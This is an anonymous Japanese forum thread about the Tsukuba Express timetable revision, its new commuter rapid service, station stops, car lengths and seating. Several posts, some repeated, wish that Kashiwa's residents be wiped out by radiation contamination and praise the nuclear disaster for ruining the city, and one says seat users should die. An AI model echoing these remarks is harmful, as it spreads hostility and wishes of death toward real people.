秋葉原のりかえの京浜東北線は、秋葉原も右扉からの乗降ですが、
秋葉原を出発すると、大宮行はさいたま新都心、大船行は桜木町まで、
連続右扉からの乗降ですね。

>>769
ポマードって何だっぺ？

金曜の朝といえば

>>773
ポマードっつーのは、口裂げ女が逃げでぐキーワードだっぺよ
そんなごどもわがんねーのげ、このゴジャッペが

今日も女性様専用車両で快適通勤

>>771
そうなったら俺は引っ越す。
八潮始発がなくなったら着席通勤出来なくなるし。

つうか八潮始発なんて風前の灯でしょ
人数捌ききれなくなれば守谷以南全列車各停になるだろうし
八潮始発の意味が無い

通快も一時しのぎ
通勤時は南流山以南は並行ダイヤ化するしかない

2年後ぐらいまで持つかどうか・・
8両化は完了が遅すぎて平行ダイヤは解消されないだろうな

>>465
下りで六町通過したところでいつもキューーっとブレーキングするのが
いつも無駄だな思う

>>780
下りで青井を過ぎた瞬間に猛加速するんだよな
トップスピードに達するや否や急ブレーキ
プログラムでどうにかならないのかね

八潮始発はとっととなくして欲しい
朝、八潮で始発の普通がホームに止まっているのに
一本前のギュウギュウの区快に乗ってくるバカが多い
というかこの場合は八潮通過にして欲しい

並行ダイヤにするなら、施設のある八潮以南現実的だろうね。

>>782
八潮始発無くなったら、その区快にもっと乗ってくるんだぜ。

>>784
八潮始発が無ければ
八潮中線で遊んでた電車が先に守谷から人を運んでる

数本見送ってでも八潮始発の発車や守谷始発の入線を待つのを見ると
急ぐ人、楽したい人、成り行きＯＫの人など、様々なニーズがあって
社会が成り立っているのが良く解る

一番近くを並走する常磐線でも綾瀬・松戸・柏・我孫子・取手の各駅
始発を気長に待つ乗客が、いつの世にも大勢いる

>>771
０８年の８両化宣言の後、ＴＸから一切コメント無しの状態だな…

口だけなんだよ。結局は・・・

社会的には「何を」「いつまでに」「どのように」の決定が基本なのに
ＴＸは「編成」「８両化」しか報道せず、未だに期限を示さない理由は
いったい何だろう？

計画はしてるけど正式決定してないのにいつまでとかあるわけないじゃん

常磐線緩和のために作った鉄道が
逆にラッシュ時の混雑に悲鳴を上げている・・

常磐より悲惨になりそうだな
そろそろ常磐新々線を計画するかｗ

常磐線であれば取手だったらかなり高い確率で座って通勤できると思う

常磐線緩和のために作った鉄道が
逆にラッシュ時の混雑に悲鳴を上げている・・

そんなに繁盛しているなら、早く債務を弁済しましょうね。

>>793
おいおい国鉄の悪口はそこまでにしろよ
タバコ税とかで穴埋めしてるだけでJRの儲けに比べたら返済していないも同然だもんな

TX-1000系電車が、完成当時ローレル賞を受賞できなかったのが、
大変残念に思える。
しかも2004年度は、ローレル賞該当車両なしということで、
受賞車両自体がない。
だからここで、通勤電車初の最高速度130km/hという、
技術的先進性を積極的に売り込めば、TX-1000系電車がローレル賞を
受賞できたかもしれないと考えると、返す返すも残念なところではある。

>>795
なんで2000じゃなくて1000なんだっぺ？

たまには新快速のことも思い出して下さい…

南流山で３分等間隔、秋葉原で２分半等間隔、
八潮、六町利用客は積極的に八潮始発を利用する、
各駅から秋葉原まで現状の所要時間で行けるようにする、
となるとなかなか考えても難しいなと。
http://2ch-dc.mine.nu/v3/src/1349493194693.gif

通勤快速は六町止めるなら八潮通過(通過退避)の方がいいんじゃないかな

青井だけのために緩急接続って馬鹿らしいぞ
それとも南千住、浅草通過とか

センパ、たなかイジメのもう一つの種別が通勤快速というわけですか。

>>792
総武線と東西線みたいな関係だな

>>796-797
新快速は転換クロスシートだし、
TX-2000系も一部クロスシートであることを考えると、
ロングシート車による「通勤電車初の最高速度130km/h」という
快挙を成し遂げたのは、TX-1000系である。

ほとんどの人の降りる駅はごく一部の駅に限られてるんだろ
だったらある区間の駅で乗客を乗せ、その後降りる駅以外はノンストップにしないと混雑が激しくなるだけ
つくば発は茨城で集客したら守谷以南快速運転、守谷発は千葉で集客したら南流山以南快速運転、というふうにすべき
たとえ糞詰まりでノロノロ運転でもドアは開けるべきではない

>>728

それ（守谷以南快速以北各駅）は柏市の反対圧力により潰された
そして今回の通勤快速柏の葉停車

もう柏市潰れろ、汚染されて柏市民全滅でいいよ
周辺自治体もいつまで柏市をのさばらせるんかねえ・・・

足立区は今、大雨なんですが、HPを見て貰えばわかるとおり、
六町に通勤快速を止めてくれなんて、言った試しもないと思うのですが。
ttp://tokyo-ame.jwa.or.jp/

なぜ新しい停車駅表でわざわざ通快を隠すのか

新ダイヤの目玉といってもいいものだからテープ貼るとか馬鹿じゃないのかと

>>805
青井と比較した結果東京都が六町を選んだんだろ
各都県1駅ずつ追加で停車させられる利権なんだからどっちも通過でいいですとは言わないだろうし

>>806
15日までは通快ないから隠してるんだろ
たとえば柏の葉に快速が停車すると間違えて思い込んで快速に乗っちゃったような人にあとでクレームつけられるのを避けるためとかいうようなお役所的発想だな

車内のだともう通快ありでそのままだったけどね

>>808
紙だからテープ貼ると剥がせなくなるからだろｗｗｗ
剥がせるやつだとガキが剥がしちゃったりするし値段もそれなりにするだろうから

痛怪なんてイラネ
八潮始発増やせ

>>810
一番いらない

八潮始発の普通を秋葉原まで往復させて、以北は快速で処理するというのはダイヤが組みやすくていいだろう
その他糞駅は普通をたまに走らせておけばいい

>>811
お前みたいな田舎者が無理して都内に出てこなくていいんだよ

三郷中央さえなければ種別を
　快速　現行通り
　区快　秋葉原〜南流山まで快速運転、以北各駅停車
　普通　現行通り
に整理して、ラッシュ時も区快と八潮始発の普通で
うまく遠近分離できそうなんだけど。

茨城県民じゃないですが、つくばラーメンフェスタ行ってきました。
あれは、他都道府県民が来て、茨城のラーメンを食べる趣旨なのか、
逆に茨城県民が、他都道府県のラーメンを食べる趣旨なのか難しいですね。

私は前者なので楽でしたが、後者の人たちは行列が長いですね。
線路に一番近い羽田国際線の店と、一番奥のブラックラーメン、あと
高田馬場の店、この３つは特に行列が長いですね。
(ただし、ＴＸに乗って羽田空港や高田馬場を往復するよりは楽ですが)

茨城の店で他の場所を名乗ってない３つは行列が短いですが、企画を
続けるには、茨城のラーメン屋が集客のメインである事が重要に思えます。

ところで、研究学園から高田馬場って案外行きにくい場所？

>>803 >>814
>>798 を書いてですが、守谷〜おおたか間の普通が多すぎなのでは。
守谷〜おおたか間で案外、区快の走行を邪魔している気がします。
仮に、朝ラッシュのおおたか利用者が、
「おおたか始発で八潮で快速に抜かれる普通」というのがあったら
秋葉原到着が３分遅くても、快速よりもおおたか始発を選んでくれるのか、
これが、Yesならそうしたいところかも知れません。
おおたかで折り返せるのか、あるいは総合車両基地から出てきて、
守谷たなか柏の葉通過で、おおたか４番線に直行して開扉とかですが。

要するに退避可能駅が2つしかないのが問題なんだよ

>>817
そうではなく、ラッシュ時に秋葉原方向に折り返せる駅が足りないと思う。
おおたか、南流山のいずれかで出来れば良いのだが。

おおたかは秋葉原側で折り返し可能
運用上の問題もあるから折り返せる駅はもれなく退避可能がついてくる

あ、なんか誤解を招くような書き方だったかもしれないからいちおう改めて言うけど、
秋葉原側に上り下りの線路をつなぐポイントがあるって意味ね
秋葉原から下りでおおたかまで来て、秋葉原方面に折り返して上り線に移り、
そのまま秋葉原に行ってもいいしもう一度つくば側に行っておおたかの上りホームに入ってもいいけど、
ラッシュだから1番線つくば行、2番線折り返し始発秋葉原行、3・4番線秋葉原行というのが現実的だろう
おおたか行きが3番線に入ると乗り換えが迷惑だろうから2番線に入れてやってくれ

xxの嫁がyyに股を開いたなんて話が実名入りで広まるような田舎には暮らしたくない。

>>728

それ（守谷以南快速以北各駅）は柏市の反対圧力により潰された
そして今回の通勤快速柏の葉停車

もう柏市潰れろ、汚染されて柏市民全滅でいいよ
周辺自治体もいつまで柏市をのさばらせるんかねえ・・・

なんで意味の無い改行するんだおおたか屑？

>>820
おおたかの渡り線は、片渡りでなかったか？
漏れの記憶では３番から秋葉原方には行けなかったと思うが。

>>823
妄想ソースで柏叩いてる時点でおおばかに間違いない

「総合車両基地から出てきて、守谷たなか柏の葉通過で、おおたか４番線に直行して開扉」する列車は迷惑以外の何物でもないｗｗ
ふつうにおおたか折り返しでいいんでねぇの？
とりあえず配線図のページを引っ張るhttp://tx-style.net/mir/5510.php

>>824
そうかすまんかった
じゃあ下り列車を上りホームに到着させるしかないな
おおたか以北の客は階段下り上りして乗り換えかｗｗｗ

つくばまで行かないつくばエクスプレスなんてイラネ。

>>728

それ（守谷以南快速以北各駅）は柏市の反対圧力により潰された
そして今回の通勤快速柏の葉停車

もう柏市潰れろ、汚染されて柏市民全滅でいいよ
周辺自治体もいつまで柏市をのさばらせるんかねえ・・・

>>826
＞とりあえず配線図のページを引っ張る
おおたかの森の秋葉原寄りのポイントは、逆線侵入の防止という観点から
向きを逆にして、上り列車を下りホームから発車させる方が良いと思います。

ほんとどういう設計なのかよくわからんよな
片渡りと両渡りでそんなにコスト違うもんかねえ

速達性が重要なＴＸにとって、コスト以前の問題がある
160km/h通過ＯＫの両渡りが無いのが一番の理由だな

快速って1番と4番通ってなかったっけ？
2番3番の両渡りはどうでもよくないか？

>>833
おおたかは2、3番線が本線で1、4番線が副本線。
八潮とは逆なのよね。

そういや言われてみればつくば行き快速は左扉が開いてたな
めんどっちいことしてんなあ

そういえば最近、トラブルあった？

儲かってるんだからさっさと民営化しちゃえよ。

7000億近い長期未払い金があるのにか？

儲かってたら自治体が意地でも手放さないだろ
それに手放したら三郷中央とか止まらなくなっちゃうしｗｗｗ

三郷中央は別に区間快速停まらなくてもいいな〜、
だって普通でも秋葉原から20分ぐらいだからそんなに重要度は感じない。
むしろ可哀相な南流山以北の住民達に恩恵を分け与えたいね。

そう、遠近分離の考え方が導入されれば千葉さいたまの人も茨城の人も便利になると思うんだけどね
今は利権のことしか考えてないんだよね
区快がなくなって不便になる分は普通を増やせばいい話だし、遠距離の人はみんな快速に乗るのだから住み分ければいい

守谷発車時のつくば方面の乗車率は、全種別が座席定員未満だし
茨城県内の乗車率を考慮すると、遠近分離にこれ以上の配慮は贅沢

ＴＸが守谷以南の増発・増結に力点を置くのは当然だな

株主構成からしてそれは無理だな。

混んでて乗れない通勤快速みたいな
意味ないものはいらない。
八潮始発を倍に増やして欲しい。

どちらにしてもつくば発着の電車は原則快速系統にしてほしいと思う
車両の制約が大きいし

逆に各駅停車がさらにスピードアップや停車時間を削り45分で秋葉原〜つくばを走破できたとしたら
不満は減るものなのかな？

>>842
そういう嘘はいくない。
朝のつくば行きは、みらい平では座れないぜ。
上りも下りも時間帯によって
混雑する時間がずれてるだけ。

この電車の乗客、
みすぼらしい人間が多すぎ！

>>848
お前が乗ってるからだろｗ

>>848
逆の人種が多い路線は「常●線」と言いたい気持ちが見え見えだな

おまいら一度三田線に乗ってみろよと…

>>845
ハゲ同
通勤快速作るならつくば〜研究学園〜守谷〜北千住でいい
茨城過疎駅はたまに区快を走らせて運ぶ
守谷以南は守谷発の普通と区快で運ぶ
それでも混んでたら八潮発普通を走らせる
これで十分

>>852
茨城県が金出して南流山以南複々線化すれば可能

>>848
ガッ！

ぬるぽらしい、かと思った

>>847
>朝のつくば行きは、みらい平では座れないぜ。
つくば駅では、7:40~8:40ぐらいは、乗る人より降りる人の方が多い感じですね。
乗る：着席+車両に5-6人立っている(区快, 快速はもう少し多いが降りるより明らかに少ない)
降りる：着席+車両に20-30人立っている
もちろん、これは満員電車ではありません。
でも常磐新線の初期構想はこんな感じの、【素敵な】郊外通勤通学だったはずでしょう。

>>856
訂正・・
(区快の場合です。 快速はもう少し多いが降りるより明らかに少ない)

とりあえず優等で一番混む(南流山で入れ替わる)4号車をロングシートに改造するべき
各停に乗ってるけどいつもはロングの列番でクロスシート車が来ると混雑というよりパニック

区快廃止厨ウザイ

秋葉下り1日で、区快53本＞＞＞＞快速32本
これが現実

>>850
＞「常●線」
　「常総線」だな。決して常磐線ではない。

長距離観光列車ならボックスシートでいいだろう
通勤列車ならロングシートにするべきだろう
結局コンセプトがないからすべてが中途半端

もともとは全車両ダブルデッカーで着席通勤というコンセプトだったような

ダブルデッカーで通勤って乗り降りどうすんだよｗｗｗ

そう言えば、車内放送の冒頭に流れていたチャイムが、
いつのまにか一切流れなくなったな。乗客から苦情でも出たのだろうか？

個人的にはドアチャイムをなんとかしてほしい。開く前に２回鳴って開きながら２回鳴って計４回。

たまに開きながら鳴らない時もあるけど、それが良いと思う。
都営三田線だって開く前に２回鳴るだけだし。

今年度新造車のドアが開いてる間ポンポンなってるやつの方が全然うるさいのにな

>>865
あれは視覚障害者にドア位置を知らせる為の音だから。
あのチャイムも苦情が来たのか、前より音量小さくなったと思うぞ。

首都圏新都市鉄道ＴＸ

>>866
そんなことはもちろん知ってるが、開閉時のドアチャイムで十分なんじゃ？
たかが3編成ポンポン鳴らす意味が分からん。
ホームから聞こえてくる自動放送とかでもわかると思うんだが。

しかし改正後本数何気にすごいな
八潮上り
７〜８時台　39本
６〜９時台　62本
竹ノ塚上り
７〜８時台　37本
６〜９時台　60本
亀有上り
７〜８時台　38本
６〜９時台　54本
南浦和上り
７〜８時台　41本
６〜９時台　68本
中目黒上り（東横線）
７〜８時台　39本
６〜９時台　72本

>>868
確かに、３編成しかないからあまり意味ないけど、時代の流れなんじゃないかな。

西武や東武の新型車両も開扉中に音が鳴るようになっているし。

>>868
　目が見えなきゃ、常時鳴ってないと、わからなくなると思うが。

>>866
　ドア位置を示すっていう意味もあるだろうけど、ドアが開いてるから車外に転落しないようにっていう
警報音の意味の方が大きいんじゃないかと思う。
　ドアが閉まっていると勘違いして、うっかり電車とホームの隙間に転落っていう事故が一番怖い。

つり革、未だに既存車両は白のまま。仕様統一はしないの？

>>873
仕様統一以前に、優先席付近の携帯・スマホ電源ＯＦＦの徹底が急務

通話しないからＯＫなんて、大馬鹿な言い訳だな

>>864
開業時はドアチャイムって開くとき2回だけ鳴ってたのにね
なんで鳴る回数増やしたんだろ？

10月15日ＴＸダイヤ改正
10月21日京急ダイヤ改正

ドアが開いている間に鳴る音、俺はむしろ好きかも。
音がＡだから、あれを聞くとチューニングをしたくなる(ｗ

>>875
多分戸袋引き込まれ防止対策だと思う。２００９年頃から開く前にも２回鳴るようになった。

都営三田線みたいに、開く前に２回だけじゃ駄目なのだろうか。

それから個人的にホームドアが開く時の音は
｢ファーン♪ファーン♪｣
の方が良い。

>>874
ババアが優先席ででかい声で通話してますが何か？

確かに車内や病院内で平気で通話しているのは、ほとんどが老人
徘徊対策で家族が持たせたのが間違いの始まり

今後老人が増える一方だし、そのうちトラブル頻発だな

携帯なんて使わないのにね
家族以外から半年以上かかってこないし

ＴＸってやたら戸袋引き込め防止に力入れてるね
過去に事故でもあったのかな？

そこで事故らなきゃ他に事故るところがないから安全性をアピールできるんだろ
唯一の弱点がそこなんだよ

>>869
まぁ６両だし

5両の井の頭線はラッシュ時29本/ｈ

TXはまだまだ甘い

六町停車の理由
ＴＸ株主構成▽
茨城県 18.05%
東京都 17.65%、
千葉県 7.06%
「足立区」 7.06%
つくば市 6.67%
埼玉県 5.88%

>>728

それ（守谷以南快速以北各駅）は柏市の反対圧力により潰された
そして今回の通勤快速柏の葉停車

もう柏市潰れろ、汚染されて柏市民全滅でいいよ
周辺自治体もいつまで柏市をのさばらせるんかねえ・・・

まあ通快停車は仕方ないよ

特定の駅がどうのこうのより、停車駅の決定にあたりコンセプトがないのが最大の問題

３セク鉄道に自由な決定権はない
いまさらそこを議論する余地も無い
宿命だ

明日はいよいよダイヤ改正か。
元3006の混雑がどうなるか楽しみ

>>890
今までの快速は八潮で降りる人がパスしていた分があったのに
南流山でパンクしちゃうぞ

>>890
通快が停車する八潮・六町での利用客が増える。

元3004の2002も不安だよ
停車駅が増えて人数集めて来るのに南流山で前との間隔が相変わらず6分
おおたかで追い抜かず先行の各停のケツを舐めるように3分遅くつくばを発車させればいいのに
八潮で先に八潮始発が出るとはいえ南流山での混雑は倍増すると思う

いい加減２０００系の３、４号車はロングシートにしろよ。
土・休日につくばから都心に出掛ける暇人共への配慮より
混雑緩和の方が優先だろ。

1時間も走らないのにセミクロスシートは邪魔だな

千鳥停車は時代遅れ

朝、優雅にボックスシートで通勤する俺の楽しみを奪わないでくれ。

>>897
だからムカつくんですよ
さらに北千住で降りるのにクロス座ってる奴らは死んでほしい
増備車だけでもロングで投入して欲しかった

>>898
立法機関に通報した

>>894
＞おまい、朝ラッシュ時には、守谷到着時にほぼ、満員状態だって言うことを知らないな。
　せめて、毎日茨城区間から長距離を通勤するお父さん達を座らせてやれ。
　座席定員はセミクロの方がロングより多いんだから。
　不満なら短距離客は2000に乗るな。

電車で通勤がいやなら、職場の近くに引っ越せばよい。

私にとっては守谷エクスプレス

たまには取手のことも思い出して下さい…
ここなら始発電車がたくさんあるし

守谷の車庫から新守谷まで延ばしてそのまま貫徹直通とか無理？
もちろん貫徹の方を電化しないといけないけど

水海道までならなんとか直流でも大丈夫かな

>>888-889

沿線自治体で圧力かけてるのは柏市だけだけどな

もう柏市潰れろ、汚染されて柏市民全滅でいいよ
周辺自治体もいつまで柏市をのさばらせるんかねえ・・・

原発の最大の功績は、

こういう屑しかいない柏市を壊滅させてくれたことだ

流山や守谷は、汚染それほどでもないしね

汚い柏が寂れ、流山守谷が伸びる。素晴らしいじゃないか

>>900
座席定員が1両あたり6人増える代わりに立席定員が何人減っていることか。

小心者だとクロスに座れないしね

緩急分離すべきと思い立って2か月近く経ったけど、やはり考えは変わらないわ。

新ダイヤの線図を書いてくれたサイトがあるね。
ttp://okiraku-goraku.com/2012/09/20121015-1.html（朝）
ttp://okiraku-goraku.com/2012/09/20121015-2.html（夕）
改めてみると夕方が異常だね。なんのためにおおたか待避しているのか分からない。
どう見ても守谷まで逃げ切れる（＝逃げれば有効本数倍増）し、なぜ優等7分前に普通が出るのか分からない。

朝のダイヤは明日確認するまでだね。
優等に今まで以上に乗客が集中するのは明らかだけど、全体の増発による混雑緩和がそれを上回るかもしれない。
そうすると、まるで優等の停車駅が増えて客が減ったという錯覚を起こさないか心配（社員が）。

しかし、朝ダイヤの優等は、普通列車を5分も停めて追い抜きを行った上での所要時間が守谷〜秋葉原37分なんだね。
そんなダイヤにするなら、全列車所要時間40分の普通にしたほうが輸送効率高いじゃん。
緩急分離が不十分すぎて、普通列車の存在価値が無くなって来ちゃったね。

しかし、優秀な人が権力を持っていないんだろうね。第三セクターの汚点だわ。
実際にTXを動かしたい人は、国家公務員・地方公務員で出世レースに敗れて、天下るしか方法が無い。
いくらTXの現状を変えたくても、そんなキャリアじゃ遠回りすぎるし、大半は畑違いの仕事をする破目になる。
みんな新卒で大手私鉄とかJRの総合職に行っちゃうよね。

>>907
ならロングにしろって言う前に8両にしろって言えばいいじゃん
ロングにしてわざわざ座席店員減らすより、
元々8両化を前提に作ってるんだから、すぐにでも取り掛かるれる事案だろ？

六町から通快に乗る輩が続出

>>903
けんなん乙

>909
>しかし、優秀な人が権力を持っていないんだろうね。

↑そうなの？知らなかった。

大手私鉄やJRへ行くのは主に交通計画(都市工学の一つ)を学んだ人が多い
付近の大学(藝大、東大柏の葉、筑波あたり)の都市工学科の卒業生を囲い込めないの？

三セクにそんなアグレッシブさはないんじゃないかなぁ

どんな社員が多いの？

>>910
本物の馬鹿が
どう考えても東京延伸が決まるまで動くわけねえよ

予想はしてたけどかなり混むな＞＞通勤快速　

乗れない通勤快速なら停めなくていいから八潮始発ふやせ。

七時半くらいの上り通勤快速に研究学園からのった。
待ちに待った快速停車でウキウキしながら駅に向かったのだが、
意外なほど研究学園からの乗客が少ない。
みんな空いている普通や区快で座って行きたいみたい。
そのうち研究学園停車は不必要って言われそう。

今朝の上り通勤快速
マジで六町民が

「快速デビューしました！」
「おめでとうございます！！」

って言いたそうな顔でどっと押し寄せてきた。
しかし大半は北千住で降りたｗ

>>921
ワロタ

優秀な人が権力を持っていないだけでなく
乗客も優等に集中しすぎで
ダメ路線になりつつあるな・・

朝は早く南流山以南を各駅化したほうがいい

>>910
だから８両にしろって前からさんざん言ってるんだが、
一向にやる気配がないわけよ‥。
８両化する気ないんだったら、ロングシート化しろって話よ。

あか抜けないダメ路線イメージ定着しつつるなあ

たった6両
混む
遅い
椅子固い
運賃高い
車内広告がダサイ
乗り換え不便
客層悪い

自分の沿線のスレに帰って、どうぞ

六町から通勤快速乗ってもたいしてメリットないだろうに…

通勤快速下りは研究学園もつくばも一分早着。
快速もそうだけど、実際の到着時刻を採用すればいいだろうに。
普通と区快だとそれがないんだよな。

秋葉原駅夕方の７分３分の不均一間隔
流山おおたかの森駅接続なのは、なぞだなあ。
守谷駅まで普通電車先行するとホームのやりくりで不具合でもあるのか？
ホームも逆になっているし

>>916
前の会社で問題おこした方々

>>909
＞改めてみると夕方が異常だね。なんのためにおおたか待避しているのか分からない。
＞どう見ても守谷まで逃げ切れる（＝逃げれば有効本数倍増）し、なぜ優等7分前に普通が出るのか分からない。
　漏れも逃げ切れるだろうにと思うんだが、どうしてもって考えてみると、
余裕時分確保してダイヤの乱れを防止するためだって思い至った。
　仮に旧ダイヤと同じ優等の約５分半前に普通発車だったら、普通に車いす利用者でもいただけで降車で数十秒の遅延。
後続の優等もそれに合わせて遅延ってことになる。
　夕ラッシュの新ダイヤは、かなりつくばでの折り返しも秋葉原並みにタイトになってる部分もあるから、
（旧ダイヤではできた）遅れの吸収がができなくなっている。
　まあ、ダイヤを上下とも線図にしてみた感じじゃ、そんなとこかと思うよ。
　ちなみに、つくばでの折り返しがタイトなのは、通勤快速から折り返して区間快速になるところ、時刻表上では４分。

>>929
＞守谷駅まで普通電車先行するとホームのやりくりで不具合でもあるのか？
　ダイヤ乱れが全くなければ問題ないんだが、ダイヤが乱れたときの（つくば駅での）ホームの
やりくりに問題が出そう。

通快ってさ、混雑緩和が目的じゃなくて
研究学園、柏の葉キャンパス、八潮、六町の乗車機会増やしてサービス向上が目的だよね。

それなら、単純に区間快速に格下げしちゃえばいいんじゃないの？車両足りないなら白紙改正して。
研究学園以外の駅は北千住〜秋葉原間の各駅までの所要時間ほぼ変わんないんだし。

個人的にはラッシュ時のサービス向上は混雑緩和とドア開閉を少なくすることだと思うから
現状の通快は最悪だと思うんだが。

>>932
＞通快ってさ、混雑緩和が目的じゃなくて
＞研究学園、柏の葉キャンパス、八潮、六町の乗車機会増やしてサービス向上が目的だよね。
　快速と区快の速度差無くして、その分増便を図るのが目的でないか？
　乗車機会普茶しましたっていうのは、ただの方便で。

普茶しました

スレの流れ見ると、通勤快速は大不評だな。

ちなみに北千住743着の普通列車は結構空いてました。

常磐線の取手快速はTXのおかげで朝ラッシュも上野まで余裕で新聞広げられるほどに。

ダイヤ改正、改悪だわ
今までより時間かかるから1本早いのに乗らないとダメ
改正のたびに悪くなってる

守谷で終電に接続する研究学園行きのバスがでるみたい。しかし高いぞこれ…
ttp://www.kantetsu.co.jp/kankan/news/news_midnightexpress.html

７時８時台の八潮始発さえ一時間四本に増やしてくれれば
快速なんか停車しなくていいよ。

八潮始発を15分以上立って待っていた人たちがかわいそう

これなら混んでる普通列車に乗りこんで北千住から座ったほうが良かったのか

>>936
日暮里→上野は列車によっては空気輸送だから新聞余裕ですねー

>>938
守谷→研究学園　1800円て・・・

冷静に考えた結果この値段になったんだろうか

深夜バスならばそんなもんだろ。
取手〜土浦の深夜バスも2000円だ。

もっともミッドナイトつくばも2000円だけど。

快速運転はラッシュに不向き

今朝、北千住駅の放送がぶっきらぼうな言い方で腹がたった！

>>940
15分立って待つなら乗った方が早いような…
ちなみに、片道30分の通勤を立つか座るかで
一年間で体重に2kgの差が出るとどっかで見た。

まぁ、つくばから立ったとしても１時間かかんないし、守谷から普通乗って立っても秋葉原まで大して時間かかんないんだから、たかだか通勤電車に文句言ってないで頑張ってお仕事いきましょう。
速い電車が開通して混んでくるのは当たり前でしょ。

文句言ってるあなたたち住民も電車混雑の要因。

時間差通勤しなさい。空いてるから

>>933
六町から北千住までの所要時間を何と！２５％も削減しました！！！(ｷﾘｯ
とか言いそうだよなｗ
あえて区間快速じゃなく通勤快速なのは自治体の快速停車著名とかお客様の声があったとしても
区間快速＆快速の停車駅は一切変更しません宣言みたいなもの。

こうなりゃ次の定期から取手経由に変えるわ

取手経由とか何の罰ゲーム

関東鉄道のステマ

常磐線の方がいいよ、すいてるしＧ車あるし

縦貫線が開通したら
取手始発の常磐にかなりの客が流れるだろうね

TXはもう快適じゃあない・・

今日つくば市長選のパンフもらったら
候補者の一人がTXを筑波山まで延伸するって書いてあった。

いや無理だし無意味だろ。

さっき区快つくば行き乗ったけど、そこそこ乗ってる上に守谷で降りないね
北千住までで乗って南流山とおおたかで降りてあとはつくばまでほとんどの人が行く感じ
逆に言えば北千住以南と南流山、おおたか、つくば以外は昼間は無価値
どうせ通勤快速とかやるんなら、朝晩と昼間でがらりと停車駅変えりゃいいんだよ
あとは上り下りでも多少違うだろうから停車駅変えるなり種別変えてもいいんじゃないか
誰も乗らない、誰も降りない駅に機械的に停車してもあらゆる面で無駄

ついでに言うと、区快が八潮で普通に接続してたけど、流山パクと田中に行く人以外メリットないからｗｗｗ

今回の改正の目的は未来を見据えた乗客いじめなんだな。きっと。

もともと開業時から柏・八潮・三郷の「優等止めんと金ださんぞ」という無茶な要求にTXうんざり。
→そんなにご希望なら・・・と、所要時間・混雑度あらゆる意味で不便な名ばかり優等「区間快速」を設定。

しかし、ますますエスカレートする「オラが街にも快速を止めろ」という自治体要求にTXプッツン（怒）
→そんなら「要求どおり」研究学園や六町にも止めてやるわ。これがおまえらの望みなんだろ？
　・・・と、ますます無価値な「通勤快速」を新設。

その後、予測されるエピソード
わがまま自治体の近距離客は気づく「こんなつかえない優等が存在するくらいなら普通が均等にたくさん走ってるほうが快適」
→自治体黙りだす。
→数年後TXは優等列車停車駅について主導権を取り戻す。
→少なくとも通勤時の優等はB快（つから守の各駅＋お＋南＋北〜秋の各駅）と普通の2本立て。

重要なポイント
快速を自分の利用駅に停めさえすりゃ利便性が増すというドシロウトな発想・要求は却って自分の首を苦しめることになる。

天王台だってそうだろ？快速通過を容認すれば、基本的に常磐各駅・千代田線の8割が取手発着になってた。
これだけの本数あれば朝ラッシュ時ですら常磐各駅が取手ですべて座席は埋まることは無かったろう。
そしたら乗り換えなしで、座って都心まで行けたわけだ。
日中も列車間隔が20分以上もあくダイヤホール含んだ5本/時間ではなく、
12分おきの等間隔ダイヤで乗車できたものを。

いい加減、浅草と南千住は通過しろよ

うむ、通過して困ることってあるか？

株主様が御不満を抱く
せっかく作った駅がただの廃墟になる

>>938
しかもパスモ使えないという罰ゲーム

千鳥停車にするなら池袋線の通準・通急みたいに一部主要駅(石神井・ひばり)とばして混雑の平準化を
図らないと意味ない気がする

例えば一部優等の南流山通過とか

開業ダイヤの手直しで、増やした結果が、これであって、そろそろ白紙改正が
必要な気がする。

>>960
南流山の通過はありえないよ

しかし、当初、毎年、ダイヤ改正しなければならない事態を
ＴＸ側は予想してなかっただろうな、まして増備車を計6編成も
作らないといけないことなど、反対の意味で予想が甘すぎたな。

昼間は普通、普通、快速のパターンで運行致します。
快速停車駅は秋葉原、新御徒町、北千住、南流山、流山おおたかの森、つくばです。
普通列車は八潮で快速の通過待ち、流山おおたかの森で快速列車との接続がございます。
柏の葉キャンパス〜研究学園へお越しのお客様は流山おおたかの森で普通つくば行きにお乗り換えください。

朝の通勤時間帯は上り列車の全てが普通になり、下りのみ通勤快速がございます。
夜の通勤時間帯は下り列車の全てが普通になり、上りのみ通勤快速がございます。
通勤快速の停車駅は秋葉原〜北千住、南流山、流山おおたかの森、柏の葉キャンパス、守谷、つくばです。

その他朝5時台と夜11時以降に秋葉原およびつくばを発車する2種類の利権快速がございます。
乗り換え駅に加えて各都県1駅ずつ停車させることができる都県快速の停車駅は秋葉原〜北千住、八潮、南流山〜柏の葉キャンパス、守谷、研究学園、つくばです。
各市区が1駅ずつ停車させることができる市区快速の停車駅は秋葉原、新御徒町、南千住、北千住、八潮、三郷中央、流山おおたかの森、柏の葉キャンパス、守谷、みらい平、つくばです。

つくばエクスプレスは上記のように、普通、快速、通勤快速、都県快速、市区快速の5種別にて運行致します。

予想が甘いって…

結果が出てから言うのは誰でもできるよね(笑)

快速3、区快3、普通6体制にできないの？

予想が「甘い」じゃなくで、「固い」結果だったはず

開業前後の初期投資を少なくしたおかげで、単年度の黒字化も
予想外に早かったね

>>966
>開業前後の初期投資を少なくしたおかげ
では、プロができない、夢のデラックス開業は・・？
・8両、10両対応ホーム完成済み
・秋葉と北千住及び以北の快速停車駅は地下駅含め2面4線
・いきなり160km/h運転

昨日950取ってたの気付かなかった
ただ新スレたてるより

つくばエクスプレス127(TX-94)
http://toro.2ch.net/test/read.cgi/rail/1344254005/
を埋めた方が良いと思うので建てません

ケチらず他社を見習って地下駅のホームだけは初めから8両対応で作っておくべきだったな。
そうすれば8両化の決断も早かっただろう。

>>969
税金だからね・・・

税金なら返さなくていいけど
借金だからね・・

六町がうざすぎるので区快に乗ることにした。

夜、八潮行きの普通を走らせてくれんかな。
普通に乗ってくる遠距離客がウザい。

>>962
増備は６編成でなくて67〜73の７編成だと思ったが。

>>966
会計の話は全然分からんのだけど、また赤字に転落する予定らしいね。
8両化400億の関係なのか、無利子融資の期限が来るからか、安定して黒字を出すのは40年くらいかかるらしい。
東京延伸すれば収支が改善されて、若干早く黒字が安定するらしいね。

南流山通過。誰かが書いていたけど、このままだと実行せざるおえないだろうね。
千鳥停車を目指すなら、そういう局面が当然出てくる。
混雑の偏りを緩急分離以外で無くすには、本数自体の調整か千鳥停車しかない。

八潮市民だけど、朝の通勤は八潮始発に乗っているし、
夕方の通勤快速は時間が合えば乗るって感じだな。

朝の通勤快速はどうせ混んでいて乗れないから快速に戻しても良い。

その代わり夜に通勤快速を増やして乗車機会を拡大してくれるとありがたい。

８両化の物理的・資金的困難さと、さらなる混雑悪化を考えると
東京延伸はTX内でも厳しいと思ってるかも

